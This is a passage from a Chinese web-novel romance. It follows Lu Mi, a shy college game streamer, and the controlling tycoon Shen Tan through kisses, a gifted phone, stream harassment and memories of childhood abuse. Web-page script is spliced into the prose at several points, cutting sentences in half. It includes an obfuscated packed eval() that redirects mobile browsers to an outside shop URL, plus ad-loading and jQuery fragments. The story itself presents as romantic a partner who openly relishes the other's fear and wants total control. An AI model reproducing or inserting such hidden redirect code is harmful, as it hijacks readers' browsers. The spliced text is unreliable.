他想得太投入,手死死抓着电竞椅的扶手,也没注意到沈谈已经走到他面前。 一直到晃了下神,眼底出现一双和自己那双毛绒拖鞋看起来是一个系列的拖鞋,只不过沈谈那双是黑色的。 立马回过神来,路弥仰起头,才发现沈谈居高临下看着自己,路弥有些不敢看他的眼睛。 每次直视沈谈都会让他感到害怕。 面对面和在视频里见面是不一样的。 和沈谈打视频的这几天他还以为自己能完全适应这种和沈谈待在一起的感觉,然而事实告诉他不行。 他依然怕沈谈。 路弥眼神闪烁着,努力让自己不要逃开。 那样可能会让沈谈更加生气。 见他看过来,沈谈才慢慢俯下身靠近,膝盖贴着路弥的膝盖,“怎么这副表情看着我?是我做了什么让你不高兴的事情了吗?” 他的语气里听不出什么喜怒来。 路弥连忙摇头。 明明是他做了什么让沈谈不高兴了。 他抬了抬下巴,但沈谈靠得太近了,他只要再抬高一点就能和沈谈完全面对面呼吸碰到一起,这迫使他只能连忙又低下头去,人也往后倾了点。 沈谈似乎并没注意到他这种躲闪的行为,一只手撑在椅背上方,“原来不是故意当没看见我,还以为这么久没见,你已经不想见我了。” “没有……”路弥就连否认都轻飘飘的。 沈谈追问:“没有什么?” “没有故意当没看见你。”路弥感觉沈谈靠得越来越近,连椅子的主权似乎都被他夺走了,沈谈的双腿慢慢挤进了他的双腿之间,他不敢躲开,只能逐渐分开,让沈谈顺利地挤进来。 “那么不想见我是真的?”沈谈倾身低头,鼻尖和路弥鼻尖抵在了一起。 如他所料路弥的呼吸变重了,大概是想起了之前的回忆,他什么都还没做,路弥的耳朵已经红透了,还有往脸上蔓延的趋势。 沈谈垂着眼,看见路弥无意识地舔了下下唇。 “不是真的。”路弥连忙替自己解释,怕沈谈误会得更深,他又补充,“没有不想见你。” “你知道不想的反义词是什么吗?”沈谈笑了声,鼻尖蹭着路弥的鼻尖,痒得路弥不得不抬起头来。 路弥没怎么思考就回答:“想。” 事实上他也没办法好好思考,沈谈的呼吸很热,从沈谈鼻尖靠上来的时候他脑子里就不由自主冒出上次在沙发上的场面。 在那之前路弥什么都没经历过,别说接吻,连牵手都没有过。 他没办法忘记沙发上的亲吻,只要沈谈一靠近身体就会给出最诚实的反应。 呼吸不稳,唇舌发麻。 “连起来是什么?”沈谈的另一只手覆到了路弥抓着扶手的那只手上,掌心贴着路弥的手背,温度轻而易举传递过来,沈谈大拇指指腹开始摩挲着路弥手背,视线却依然落在路弥身上,似乎在等一个合他心意的答案。 路弥闻到沈谈身上的沐浴露味道,和他这几天用的是同一款,他有些艰难地半张着嘴小口呼吸,手背痒得逐渐松了力,好一会儿才开口:“是想见你。” 他不明白沈谈让自己说这话的意义。 只不过他说完听见沈谈很明显地又笑了一声,应该是很满意这个答案,沈谈鼻尖往上抬了抬,唇就落到了路弥鼻尖上,他的亲吻总是湿热的,路弥忍不住闭上了眼睛。 但沈谈并没有继续。 沈谈再次用鼻尖抵住路弥的鼻尖,“既然想见我,那刚刚怎么那副表情看着我?睁开眼睛,路弥,看着我,回答我的话。” 路弥眼皮颤动着,缓慢地睁眼,却还是不敢直视沈谈,眼神不断地躲闪着。 但他也躲不到哪里去。 只是刚刚被忘却的恐惧又涌了上来。 他不敢说话,只是紧紧抿住唇。 似乎只要不说,沈谈就不会向他发泄怒火。 “不想回答吗?”沈谈似乎并不准备就此借机发火,“不想回答也可以。” 那时候路南德也是这样说的。 路弥不爱说话,他不愿意喊继母妈妈,惹路南德生气,路南德让他回答为什么,路弥迟迟没有开口。 路南德说,不想回答也可以。 然后把他关进了那个狭小的房间。 那天是路南德生日,路家办了家宴,其乐融融,继母的亲戚、路家的亲戚,他的大哥二哥。 但路弥蜷缩在自己的小床上,也没有人在意他为什么不在,没有在意他有没有吃东西。 一直到第二天路南德才想起来自己的小儿子还被自己关着。 他把路弥放出来,并没有关心他有没有吃饭,还是路弥自己去厨房找了一些被剩下的食物。 从那以后路弥就没再忤逆过路南德。 他得活下去。 他还不想死。 那时候他七岁。 路弥眼皮快速颤动着,连声音也发着抖,“因为你生气了。” “生气?我为什么会生气?”沈谈虽然这么问,语气里并没有透露出什么讶异。 他在沈家爬到这个位置,见过太多形形色色的人,会察言观色,也会参透人心。 从进入这间屋子开始,他就知道路弥情绪不对。 他虽然喜欢看路弥因为怕自己而发抖,那也算是他的喜好之一,但他并不喜欢路弥把什么事都憋在心里。 明明脸上什么也藏不住。 他想要掌控路弥的一切,想要让路弥全身心地属于自己。 只不过眼下并不单单是因为路弥害怕自己。 从他说那句“不想回答也可以”开始,路弥的情绪变得更加外放。 他恐慌,但不是因为自己恐慌。 沈谈只喜欢他因为自己颤抖的模样。 其他人都不行。 沈谈说着笑了起来,“你为什么会觉得我在生气?” 他用大拇指不断抚摸着路弥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733668|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 “因为……因为……”路弥低垂着眉眼,不断地想起被关在房间里的那一天,没有水和食物,而外面那么热闹,那时候他以为自己快死了,那也是他第一次知道自己那么脆弱,会很容易就死去,就像他妈妈一样死去,他咬了咬下唇,“因为我不想再跟你视频。” 也许说出来会好很多。 但沈谈也可能会更加生气。 他还是没法相信沈谈并没有生气。 “我并不知道这件事。”沈谈松开了路弥的手,转而抚摸起他的耳垂。 耳垂这种地方总是很敏感,让路弥控制不住闷哼了声,抬起了头,断断续续地说:“我跟你说了,你没有回复。” “我以为那句话的意思是你今晚不想在视频里看到我,而是想在家里看到我。”路弥的耳垂十分柔软,柔软且发烫,沈谈用手指描绘着他的耳廓,路弥对耳廓的反应并没有耳垂那么大,连呼吸都缓和下来了。 路弥已经有些没办法思考,上次亲吻的时候沈谈并没有这样对待他的耳朵,抚摸耳朵的感觉让他陌生又战栗,他好不容易才让自己保持思维,弄明白沈谈这话的意思,他一脸不可置信地看着沈谈,“所以你今晚才会回家吗?” “那倒不是,是我本来就要在今晚回家,不过我原本想先去公司处理一些文件,因为你的这句话我把工作带回家里了。”沈谈向来是个公私分得很清楚的人,他以前从来不把工作带回家,不然也不会总是住在公司。 只不过这些话显然是虚假的。 他确实今天就要回家,就算没有路弥发的那句话,他也会带工作回家。 他也并没有曲解路弥那句话的意思。 路弥略微松了口气。 沈谈并没有因为自己而耽误工作。 但沈谈因为自己把工作带回来了。 是为了早点见到自己吗? 路弥心跳比刚才快了一点,但又想起,沈谈只是误解了自己的意思。 并不代表他知道了的话不会生气。 而现在沈谈知道了。 他又开始紧张。 只是沈谈的手指顺着耳廓滑进了耳蜗,那里平时路弥自己触碰的时候并没有任何感觉,但被沈谈这么碰着,只是单纯地用指腹磨蹭着,路弥就忍不住仰起了脆弱的脖颈。 沈谈却跟完全没注意到他这么激烈的反应一样,慢条斯理地解释着:“就算你直接告诉我不想跟我视频,我也不会生气。” 路弥的拒绝并不会让他生气,反而会让他兴奋。 沈谈没有再继续用手指去抚摸路弥的耳蜗,他扣住了路弥的后脑勺,“我之前说过,你想要什么我都会给你,包括这种对我并不友好的要求。” 他的眼神牢牢锁在路弥泛着潮红的脸上,“看来你一直没把我的话听进去,这样说起来我确实是需要生气。” 路弥忍不住瑟缩了一下,但沈谈用手把他禁锢住了,他没办法躲,只能被迫仰着头看着沈谈。 “你认为我生气了会对你做什么?”沈谈用大拇指抵住了路弥的脖颈,按压着那里的嫩肉,“看来你所想的并不是我所想的。” 路弥并不清楚沈谈到底知不知道自己想的是什么,他都没来得及说话,沈谈就已经咬住了他的唇。 14.同床 路弥一直记得上次沈谈亲吻自己的感觉。 但这次的沈谈明显更加粗暴、急迫,他被毫无征兆地撬开唇齿,口腔被舔舐,被剥夺呼吸,沈谈不给他喘息的机会,把他抵在椅子上,令他不能动弹不能挣扎。 路弥分不清大脑是因为缺氧而逐渐失去自我意识还是因为别的,被放开之后他迫不及待大口大口呼吸。 但沈谈并没有要给他缓和的机会,捏住他的下巴让他睁开湿润的眼看着自己,“我生气只会对你做这种事,会比这更过分。” 满意地看到路弥想要挣脱,沈谈又低下头亲了亲路弥渗出汗意的额头,“如果你喜欢这样,我倒也不会拒绝这种莫须有的生气罪名,左右受益人还是我。”沈谈说着指腹压住路弥的唇。 路弥应该对此感到害怕,但这却是他第一次这么清晰地从沈谈身上感知到具体的情绪。 并不是粗暴蛮横的发泄。 是欲望夹着对他的警告。 警告不允许他把沈谈的话当成耳边风。 路弥并不能理解沈谈为什么要这样。 或许对沈谈来说哪怕是一时兴起的人,他都会好好对待。 路弥摇头。 “不喜欢吗?”沈谈慢条斯理从他的额头往下,亲吻他的鼻尖,再回到唇,却没有像之前一样撬开他的唇齿,只是用牙齿磨着。 路弥实在没办法回答这种羞耻的问题。 他连反应都没办法反应,大脑空白了好久,哪里谈得上什么喜欢不喜欢。 “不回答就是喜欢。”沈谈说着笑了声,再度含住路弥的唇,吮吸舔舐。 路弥没办法拒绝,他已经逐渐学会了迎合,人类在这方面总有无师自通的本事,尤其是在这种并非单方面暴力压制的情况下,总会学会摸索着如何让自己更加舒服。 路弥学会了自己张开嘴,抓住沈谈的睡衣让自己保持平衡,隔着衣服传来的温度让不断上升的体温得到了缓解。 沈谈把他放开的时候他还顺势倒在了沈谈胸前。 沈谈并没有推开他,而是一下又一下抚着他的后背,像是在安抚他此刻的情绪。 路弥说不上自己是什么感受。 他之前以为自己会排斥很久,但事实是并没有,甚至还觉得沈谈温柔了许多。 可他并不能这么想。 他必须得时刻保持着清醒。 他不能让沈谈在自己的意识里变成一个温柔的人,那不是一个好的开端。 他在沈谈怀里睁开眼睛,抓着沈谈的衣服好一会儿,才轻声说,“沈先生,我并没有不想跟你视频,是我的手机坏了。” 沈谈都那样警告他了,就算他说出口沈谈会觉得他在索求手机大概也无所谓。 是沈谈让他要的。 “知道了。”沈谈揉捏着路弥的后颈,平复着蓬勃的欲望,“该去休息了。” 路弥才发觉沈谈说知道了的时候带着笑意,他回想起之前沈谈跟自己说这三个字的时候,不知道是不是也是这样。 虽然沈谈哪怕是笑的时候也并没有多么亲切。 他从沈谈怀里钻出来,捡起亲吻的过程中掉落在地上的手机,幸好地上都是柔软的毯子,应该造不成什么伤害。 他下意识按了下开关,手机屏幕亮了起来,不过上面跳出来几条阿墨发来的消息。 路弥连忙摁掉,不知道沈谈看见没有,他也不知道自己在心虚什么,也许是因为沈谈之前问过他自己想不想加阿墨好友这种问题,他感觉自己像欺骗了沈谈。 他把手机塞进衣服口袋,仰头看着沈谈,“……那沈先生你呢?” “你在邀请我一起吗?我不介意再洗一次澡。”沈谈勾了勾唇角,声音多少还带着没消散的情/欲。 路弥唇还肿着,说这种话多少会让人失控。 “我不是这个意思!”路弥愣了下,耳根通红一片,拼命摇头。 状态看起来比方才好多了,也没有那么畏手畏脚。 沈谈没有再继续逗弄他,否则今晚路弥没法睡个好觉,他俯下身亲了亲路弥鼻尖,“我去书房工作。” 路弥哦了声,“那我,我先回卧室了。” 他忙不迭起身回到卧室,关上卧室的门后才摸了摸自己的鼻尖。 真是奇怪的感觉,为什么沈谈亲吻他的鼻尖的时候会让他有些被电的错觉。 沈谈站在电竞房里看着被关上的卧室门,脸上情绪浅淡。 路弥手机上的消息他没看清,但看见了阿墨两个字。 - 路弥洗完澡出来,沈谈依然没从书房回来,路弥能猜到他应该很忙,毕竟视频的那几个晚上那么晚他还在处理工作。 沈家太庞大了,庞大到沈谈只要愿意,就能随意让路家消失。 路弥把自己裹进被子里,大脑无比清醒。 沈谈什么时候回来睡觉? 他知道这一天总会到来,但还是会紧张。 把自己挪到边边上,给沈谈让出大半张床,路弥才摸出手机。 阿墨给他发了几条消息。 阿墨:[我看你今天跟甜甜圈打了,我辅助就是跟甜甜圈学的,他很厉害] 路弥顿了顿。 他记得甜甜圈出名那年十七岁,今年也才第四年,但阿墨直播已经五六年了。 也许后面阿墨又跟着学了不少。 路弥没看过阿墨直播,对他并不了解。 阿墨:[我直播间粉丝都在说你跟职业选手配合得特别好,很厉害] 阿墨:[我看你下播了,准备休息了吗?我这个月时长还差很多,月底简直灾难日] 路弥抿抿唇,[谢谢,我要休息了] 他很少跟人聊天,不知道该说什么,再加上之前管理让他跟阿墨捆绑的事情,多少心底会有些抵触。 回复完路弥反复看了看阿墨的消息,试图从中学到什么。 但还没能成功领悟,手机又震动起来。 幸亏不是阿墨,而是水木。 水木很少在微信上给他发消息,除非有什么急事。 路弥连忙点开。 水木:[我就请假了几天去看比赛你怎么就跟甜甜圈双排上了?你个叛徒,不是说不双排吗呜呜呜我在你心里比不上甜甜圈呜呜呜] 水木:[好吧虽然你在我心里也比不上甜甜圈,但下次能不能带我一起?你知道中野辅联动是什么快乐吗?] 路弥轻笑了声:[应该没有下次了] 他确实不喜欢双排,今天也只是因为那些弹幕刷得太过分。 虽然这在竞圈里再正常不过,输了就会被骂,不管你以前成绩多好。 做主播也是一样的,尤其是技术主播。 你打得好的时候他们会夸你,但一旦你出现失误,会有人骂你技术烂,会给你扣上莫须有的开挂罪名。 路弥一开始直播的时候也会开着弹幕,那时候他很紧张,虽然不知道该怎么跟观众交流,但他也希望自己尽快地适应,能够听取大家的意见。 但后来他发现看弹幕会影响他打游戏的情绪。 他只想保持冷静,始终用冷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 静的态度去面对任何一局游戏。 水木:[你果然不知道中野辅联动的快乐呜呜呜] 水木:[好吧那也没事,明天我就回来直播了,不能让我和甜甜圈相爱也没事,能让我和你联动吗?] 水木:[如果你下一句是不能,我现在立马哭给你看] 路弥思考了一会儿:[但我也看不见] 他和水木也只是单纯的网友而已,从来没见过面,也没考虑过见面。 水木:[……] 水木:[狠心的小男孩!!!] 水木:[不对是男人!我听说你结婚了,为什么我是最后知道这件事的?你的良心何在?] 路弥:[我没有结婚] 沈谈大概也不会真的跟他领证结婚,他不想欺骗水木。 路弥:[你前几天说论文作业还没写完,明天回来直播的话还来得及写吗?] 水木也一样是大二,据水木自己所说高考结束他本来想去青训,结果被父母发现,把他锁在了家里一个暑假,开学后又把他扭送到了学校,强制他继续读大学,水木只能退而求其次成为了业余游戏主播,但他不缺钱,直播也不是为了钱,单纯为了爱好。 前几天水木请假去看比赛,去之前还跟路弥说还有作业没写完。 水木:[你一定要提醒我这种痛苦的事情吗呜呜呜] 水木:[有机会能帮我问甜甜圈要签名吗?] 水木:[好了我去写论文了,希望明天开播的时候能看到你邀请我,我可爱的迷路弟弟] 水木并没有再追问结婚的事情。 跟水木说了再见,正要放下手机,水木又发了消息过来:[对了那个阿墨,你可千万别理他,他特喜欢勾搭小主播,不是什么好人] 水木这几天虽然一直没直播,但他一直上线观察路弥情况,自然也知道阿墨的事情。 路弥愣了下,想起阿墨说的他跟水木一起玩过,想了想还是没问水木。 他不想耽误水木写论文。 他回了个好,把手机塞进枕头下,生物钟让他开始犯困,很快陷入了睡眠。 路弥做了个梦,梦见他躺在路家的小房间里,他很饿,但是门打不开,只能蜷缩在硬邦邦的床板上,祈祷着有人会来把他放出去。 不知道过去多久,他听见门被打开的声音,但他太累了,起不来也睁不开眼睛,只能听见声音。 有人走到他的床边,把他抱进了怀里,抱出了房间。 是个很温暖的怀抱。 路弥醒来的时候人还没完全睡醒,只模糊看见沈谈的背影。 沈谈正在衣柜前穿衣服,路弥看见他解下自己绑在大衣上的那条领带系上。 路弥又睡了过去,等再醒房间里只剩下他一个人,但旁边有人躺过的痕迹。 衣柜门是关着的,路弥下床拉开门,那件大衣袖子上的那条领带果然不见了。 那不是幻觉。 但不知道沈谈是什么时候起来的,他甚至想不起来一点沈谈回来睡觉的记忆,只记得自己昨晚做了个很好的梦。 去洗了把脸,路弥回来从枕头底下摸索着自己的手机准备看看时间,他今天没课,并不着急。 摸到手机的时候,他愣了下,又往旁边摸过去。 不是错觉,手机旁边还放了东西。 是一个崭新的手机。 路弥认出这是沈谈手机的同款,甚至已经套好了手机壳。 手机壳的图案是一只很幼稚的卡通猫。 是路弥的微信头像。 15.珍贵 路弥下楼的时候沈谈确实已经不在家了,王姨正在准备早餐,见到他连忙说:“沈先生已经出门了。” 路弥点点头,把手机倒扣过来放到了餐桌上,发出了很清脆的声音。 “换新手机壳啦?”王姨一直很在意路弥的一举一动,沈谈让他们把路弥当成主人,那她就会把路弥当成主人,沈谈给的工资很高,但人又不怎么在家,她平时都没法好好付出和工资对等的工作,现在终于能够好好表现。 路弥抓住手机点点头看向王姨,抿了抿唇,小声问:“好看吗?” 这还是他第一次主动问这种问题,王姨愣了下,忍不住笑了起来,“好看呀,很可爱,很适合你。” 虽然相处时间不多,但王姨一直觉得路弥安静又漂亮,确实很像那种名贵的猫。 路弥唇角微微扬起,很快又把手机收了起来。 王姨注意到手机的款式已经不是路弥之前用的那款,而是和沈先生的很像。 难怪早上沈先生的助理送了什么东西过来,沈先生又亲自拿去了楼上。 路弥这样倒有点像得到了很喜欢的礼物不经意炫耀的孩子。 不过王姨觉得路弥炫耀的并不是手机,而是手机壳。 似乎那个手机壳是比手机更珍贵的东西。 - 虽然没课,但路弥跟水木一样需要写作业,他本来想去学校图书馆,不过王姨说别墅区附近就有个私立图书馆。 应该是专门给这边别墅区的富人们建造的,平时基本不对外开放。 路弥到的时候私立图书馆里并没有其他人。 这地方装修堪比那种价格昂贵的咖啡厅,氛围感十足,连桌椅看起来都很贵。 路弥有些没敢进去,不过门口的管理看见他却笑眯眯地迎了出来,“您是路弥先生吧?” 王姨说如果想来图书馆打个电话就好了,他们会安排好一切,现在看起来确实如此。 人都迎了上来,路弥也只能压下想要回到学校图书馆的念头。 他被领着去了个包厢,连书都不需要自己去找,管理会安排好一切,只需要把需要的书单交给他们就好。 等管理把书送过来,路弥才发懵地看着窗外。 他用新手机拍了张窗外的照片,犹豫再三给沈谈发了过去。 本来以为沈谈现在应该在忙,没想到沈谈很快回复了消息。 沈谈:[去图书馆了?] 仅凭一张窗外的照片就能认出这是什么地方,沈谈应该对图书馆很熟悉。 路弥:[可以过来吗?] 沈谈:[他们应该没有在门口写不准路弥入内几个字] 路弥仔细回想了一下,[他们没有写任何字] 门口很干净。 沈谈:[你去专门看了吗?] 路弥反应了一会儿终于反应过来,沈谈那句话大概是在调侃他。 他呆了一会儿。 路弥:[……] 路弥:[没有,我要写作业了] 路弥:[谢谢手机壳] 他发完立马把手机塞进书包,生怕看见沈谈回复什么。 明明只是很简单的想找个借口谢谢沈谈而已,掌心却紧张得出了汗。 沈谈轻笑了声,[不用谢] 他放下手机,抬头看向会议室里一群穿着西装腆着大肚子的中年男人。 这些人并没有因为沈谈的笑而感到轻松愉悦。 他们听说了沈家那人的事情。 被沈谈送进了监狱,家里资产全部被查封,沈谈告诉了他们,但是又不允许他们向外透露这个消息。 他们之中也有沈家的人。 人人都自危,生怕沈谈查到自己头上。 沈谈那笑多半是又有了什么令他不顺心的事。 大家恨不得低下头让沈谈看不见自己。 只有周风面不改色地看着老板开会开一半莫名其妙玩起了手机,不用想都知道对面的人是谁。 老板之向来不喜欢发消息,有什么工作信息都会发到他那边,他筛选过后再统一交给老板,但自从路弥出现,老板看手机的频率比以前多得多。 应该说是老板在逼着自己改掉不爱回消息的毛病。 大概发生了什么他已读不回被指责的事情吧。 一直到会议结束,沈谈都没有再收到路弥的任何消息。 “晚上帮我跟海外那边约个临时会议。”走出会议室,沈谈站在门口面色冷淡地看着其他人战战兢兢从会议室里出来,连看都不敢看他一眼。 周风:“好的。” 沈谈收回视线,“图书馆那边安排了吗?” “安排了,路弥先生过去之后就已经安排了工作人员送去了食材,厨师也已经派过去。”周风有条不紊汇报着。 他从跟着老板开始就认为老板是个能成大事的人。 也只有老板能做出这种人还没认识就已经投资了家附近的图书馆这种荒谬又疯狂的事儿。 但事实证明确实能派上用处。 老板的投资总是十分精准。 也难怪外界会说他想要什么就能得到什么。 路弥摸了摸发痒的鼻尖,不得不拿出手机看了眼时间,还好沈谈并没有说那种类似于门口写不准路弥入内的话。 时间已经是中午,但作业还没写完。 他出去倒了杯水,回来的路上管理很贴心地问他要不要留在这里使用午餐,路弥连忙摇头拒绝。 这种开在富人区的图书馆看书免费,但吃的肯定很贵。 “我们免费提供午餐,可以帮您送进包厢。” 路弥以前饿了会在图书馆外面的台阶上啃几口面包,再回去继续学习,那样省时间。 管理的话也确实让他有些动摇,虽然图书馆离别墅不远,但他是步行过来,路上也要花费一刻钟。 路弥想了想,给王姨发了条消息告诉她自己中午不回去吃饭了。 王姨:[猫猫大哭.jpg] 路弥愣了下,刚想改变想法。 王姨:[还好我还没来得及做午饭,吃到好吃的可以让我偷师学艺] 路弥忍不住笑了下。 回别墅的时候已经是晚上,沈谈并没有回来,但给路弥发了消息。 沈谈:[晚上有几个跨国会议] 沈谈的意思大概是不知道今晚会什么时候回来,路弥回了句:[好,我要开播了] 发完后路弥反复看了几遍这两条消息,突然有种在互相报备的错觉。 路弥连忙把手机放在了电脑旁。 一打开直播软件,后台就跳出来水木的私信。 水木显然还记得要跟路弥双排的事情。 水木:[我论文写完了!你什么时候开播!我等你开播了再开!你记得卡着点邀请我!!] 路弥:“……” 路弥只能先打开游戏,[我现在就要开播了] 开了直播,路弥在游戏好友列表找到水木的ID,水木号在线,他给 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 水木发去了邀请,没几秒就提示他关注的主播水木开播了。 [今天居然要和水木双排吗?] [怎么感觉迷路宝宝这两天变得开朗了?] [这是每天换一个男人吗?] [前几天是阿墨昨天是甜甜圈今天又是哪个好哥哥?] 路弥瞥了眼弹幕,没怎么理会那些乱说话的,只回答:“跟水木打一把。” “为什么只有一把?!”游戏里水木进队的瞬间就开了麦,声音完全就是那种上学时候调皮捣蛋的男生,“这么久没见居然只跟我打一把?” 路弥十分冷静:“你没说要打几把,我想打排名。” 他一边说一边点了匹配。 “我知道排名比我重要,但你为什么带我打娱乐?” [不是说已婚了吗?那怎么还跟别人暧昧不清啊?] [撬别人墙角很好玩哦?] [主播你为什么从来不露脸,是因为怕被认出来吗?] [不是你们在乱说什么?] “你直播间今天怎么黑子这么多?”水木不解地翻着弹幕。 路弥正要关掉弹幕,听水木这么说动作顿了下,“不用管。” 他向来无视这些毫无理由的黑子。 “不行,还好是娱乐,我选个精灵挂你身上了啊我去找找发生了什么。” 精灵是个辅助,大招是挂在其他英雄身上,给其他英雄加盾。 路弥也没阻止水木,他管不了别人想做什么,只低低哦了声。 几秒后,路弥小声提醒:“你要先升四级。” [我笑死了迷路一本正经的语气,听起来像在打排名,实际上只是在玩娱乐] [水木你找到了能发我们一份吗?] 路弥的老粉都知道他跟水木关系不错,也可以说在主播当中他只跟水木熟悉。 水木游戏里没动,倒是开麦回复弹幕:“不能,我怕引起什么节奏。” “你要先升四级。”路弥绕着在泉水不动的水木转圈。 [水木:我看谁在带节奏,迷路:升级!升级!升级!] [我的水路cp又复活了] 路弥关掉了弹幕什么也没看见,倒是水木连忙解释:“我的心另有所属,迷路弟弟已婚,我俩都不是道德败坏的人。” 他知道路弥说结婚虽然是假的,但路弥这么说肯定有他的道理。 听他这么说,路弥就知道弹幕又在说什么,跟着嗯了声,“水木,升四级。” 本来想先翻到底是谁在造谣的水木:“……” 路弥对游戏总是很认真。 水木只能被迫回去升级。 水木不找,自然有人找。 没多久就有人在弹幕发了。 [是个娱乐主播发了条微博,说有的主播表面说自己有家室,跟他男朋友撇清关系,私底下却联系他男朋友] 那个娱乐主播跟路弥同平台,长得比较清秀,但不算有名气,本来发这条微博没什么人看,但不知道怎么回事儿,有人根据他的微博扒出他男朋友是阿墨,而那个他口中勾搭他男朋友的主播,直接对应上了路弥。 本来这种子虚乌有的事,那个主播不回应就算了,但那个主播偏偏在那条评论下回应了,没指名道姓,但说的却是:昨天还勾搭职业选手呢,好厉害。 非常阴阳怪气。 他这一回应,就差直接把“迷路”两个字贴上去了。 也直接锤死了他说的那人就是路弥。 16.不烦 一直到这把游戏结束,路弥才知道这事儿。 水木一直憋着气没说,这种主播之间的事情比较敏感,迷路不可能干这种事,对方也没提直接提迷路的名字,要是他自己的事骂了就骂了,但迷路的事情不行,他要是随便说了什么,迷路肯定会被带节奏。 水木只能一直在那儿指桑骂槐,一会儿说今天的绿茶很香,一会儿说点杯茶喝喝。 路弥也听不出来,一直把注意力放在游戏上,他得防止水木从自己身上掉下去,不让水木吃到任何伤害,操作难度比平时打排名都要高。 听水木说了好一会儿才提醒水木:“晚上喝茶可能会失眠。” 水木:“……”他现在确实要失眠了。 一直到开了弹幕。 [迷路脑子里只有游戏哈哈哈哈哈] [以前怎么没发现迷路是个搞笑主播??] [阿墨有男朋友???他不是一直说自己单身吗?] [人家也没说是阿墨吧?不是猜的吗?] [就看你们主播承不承认咯] 路弥往上翻了翻,发现自己完全不认识那个娱乐主播,轻声道:“应该是认错了。” 听起来没什么威慑力。 但那个娱乐主播说的那种事,他完全没有做过。 他没有私下主动联系过阿墨,更别说勾搭阿墨这种事,还有那个职业选手。 [有本事拿锤] [反正三不会说自己是三] [前几天不还要跟阿墨捆绑?] [也是哦,你们主播连摄像头都不敢开,阿墨也不会看上长得这么丑的吧?] “神经病吧你们?”水木实在被气得不轻,还是没忍住骂人。 路弥顿了顿,“水木,你还要打吗?我们可以打排位。” 路弥自己没什么感觉。 网络上的攻击对他造不成什么实质性伤害。 只不过水木语气听起来不太好。 他并不知道该怎么让水木不要太在意那些话,只能用这种方式转移水木的注意力。 “你还有心情打吗?”听路弥这轻飘飘的语气,水木抓狂。 他怀疑路弥现实里也是会被欺负的性子。 “我今天想冲排名,你不打的话我就去打排名了。”路弥说着就要退出队伍。 在他点下去的那一瞬间,水木连忙说:“打!” 路弥跟平时一样关掉弹幕,拉着水木进了普通排位赛双排。 本来还在刷屏骂的黑子见路弥完全不搭理他们,逐渐也就消停了不少。 本身那个娱乐主播就没什么名气,来骂人的黑子不全是他的粉丝,不少都是想要吃瓜的群众,但完全吃不上什么瓜,只能暂时退却。 弹幕也逐渐清净下来。 普通排位要比荣誉排名好打,水木的中单在主播中水平也是一流的,两人连胜了一晚上。 那种兴奋的感觉又回来了。 路弥紧紧抓着鼠标。 和水木打游戏的感觉跟甜甜圈一样,都会让他兴奋。 这也是路弥不喜欢跟别人组排的原因之一。 他不想让自己迷上这种感觉,不想依赖别人。 看了眼时间,已经是十点多,路弥松开鼠标,“我要下了。” “你最近作息这么老年了吗?”水木记得以前路弥为了冲分和时长总是半夜才下播,这几天确实比之前早了点。 而且似乎电脑也变好了。 直播间画质高清许多。 路弥嗯了声,犹豫了一下,“家里有人让我早点休息。” 说出口后他就有些后悔了。 他跟水木说过结婚是假的。 水木确实是愣了下,他记得路弥一直是一个人住,但他也只稍微愣了下,“你也不嫌烦。” “还好。”路弥轻声说,片刻又补充,“……不烦。” 他说完看了眼在线列表。 并没有“用户9765439”。 亚日平台的直播间在线列表根据用户等级来排列,以沈谈刷的礼物数,他在直播间就会在列表第一。 [完蛋,迷路这个语气听起来真的像是结婚了] [会玩] [主播你能不能解释一下你到底是不是真的勾搭别人男朋友啊?] 瞥见那条弹幕,路弥抿了抿唇,“你们找错人了,我先下播了,大家明天见。” 也没等水木说什么,他就干脆利落关掉了直播。 但游戏还没退掉,不过水木那边还在直播,看出来路弥并不想搭理这种事,水木也不好再说什么,跟路弥说了句之后就退出了队伍。 关掉游戏,关电脑之前,路弥还是跟往常一样翻了翻私信。 私信列表比平时更精彩,不少是来骂他的。 但路弥还是看完了。 他心里并没有很大感觉,只要不影响他直播,不影响他打游戏就好。 路弥明白,这时候就算他解释了,他们也不会听他的。 他们只会相信自己所想的。 等时间久了就好了。 路弥睡下的时候沈谈还没有回来。 只不过路弥今天睡得并不安稳,总有种半梦半醒的感觉。 梦里他在路家的客厅手足无措地站着,他刚放学回家,面前的地上是被打碎的花瓶。 花瓶很贵。 路弥继母喜欢摆弄这些,喜欢买漂亮的花瓶装饰客厅,路弥也觉得那很漂亮。 但那个价格昂贵的花瓶在他面前被打碎了。 路弥还没来得及说什么,继母就进了客厅,坐在沙发上一直没出声的二哥立马跑去继母身边告状:“妈!路弥把花瓶打碎了!” 路弥一脸不解地看向二哥。 他不明白,那明明是二哥打碎的,就算继母知道了,她也不会骂二哥,她向来疼爱自己的两个儿子,舍不得骂。 但路弥不一样。 她当场发怒,让路弥把地上打扫干净,让路弥赔她花瓶,也完全不听路弥解释。 解释根本没有用。 路弥只能把地上打扫干净,听着继母骂他的那些话,一个人回到自己的小房间,默默蜷缩起来。 从梦里醒来的时候路弥身上有点热。 他还没睁开眼睛,只觉得自己似乎被禁锢在什么地方,手似乎也抓着什么并不是被子的东西。 大脑瞬间清醒,路弥立马睁开眼睛。 映入眼帘的是一片黑色真丝睡衣,纽扣歪歪扭扭被解开两颗,露出大片结实的胸肌,他的脸快埋进对方胸口。 最上面那颗纽扣还掉了,只剩下几根线垂落着。 那颗掉了的纽扣,被他抓在了手里。 而他的另一只手正抓着衣服主人的胳膊。 那条胳膊一半压在了他身上,压得他动弹不得。 路弥顿时不敢呼吸,缓缓抬头。 沈谈睁着眼,似乎并不意外他在此刻醒来,“醒了?” 